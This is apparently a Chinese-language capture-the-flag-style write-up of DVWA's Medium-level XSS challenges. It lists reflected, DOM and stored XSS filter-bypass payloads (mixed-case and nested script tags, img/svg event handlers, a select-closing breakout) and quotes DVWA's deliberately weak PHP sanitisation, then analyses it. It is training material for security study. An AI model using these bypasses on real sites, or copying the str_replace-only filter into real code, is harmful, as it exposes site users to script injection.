【DVWA】XSS-----------------(Medium)
1、Reflected
输入<script>alert(/xss/)</script>
查看网页源码:
发现过滤了<script>
,不慌不慌。。
尝试绕过: 大小写混合<ScRiPt>alert(/xss/)</script>
拼凑:<scr<script>ipt>alert(/xss/)</script>
img标签:<img src=1 onerror=alert(/xss/) />
svg标签:<svg onload=alert(1)>
均可绕过
源码分析:
2、DOM
查看网页源码:
构造闭合:</select><svg onload=alert(1)>
</select><img src=1 onerror=alert(/xss/)>
</select><a href=javascript:alert(/xss/)>
(需要手动点击)
均可绕过:

源码分析:
如图所示,若参数中有<script,页面即可被重定向到English页面,而且stripos()匹配不区分大小写,所以换用其他标签即可绕过。
3、Stored
测试流程:
输入<script>alert(/xss/)</script>
查看网页源码:
发现<script>
被过滤了。
尝试大小写混合绕过:
<sCrIpT>alert(/xss/)</script>

成功绕过!其他标签也可以,方法多样。
源码分析:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] ); //trim去除开头结尾空格和其他预定义字符(不涉及测试的敏感字符)
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input 这个部分过滤比较严格,很难绕过
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input 这个部分只过滤了<script>,比较好绕过
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
-
trim() 函数 去除开头结尾空格和其他预定义字符
-
strip_tags()函数 剥去html, xml, php标签(很难绕过)
例子:
-
addslashes()函数 转义字符串
在预定义的字符前添加反斜杠
-
is_object()函数
用于检测变量是否是一个对象
-
mysqli_real_escape_string() 函数
用于转义字符串中的特殊字符(不包括测试的敏感字符)
trigger_error()函数 函数创建用户自定义的错误消息。
总结:
dvwa的中级相对于低级来说还是添加了一些过滤的,基本都是对`<script>`标签的过滤
有的区分大小写,直接大小写混合就绕过了,不过stripos()是不区分大小写的,但用其他标签也可绕过。
存储型中的内容输入框过滤比较严格strip_tags()去除html,xml,php标签,绕过比较难。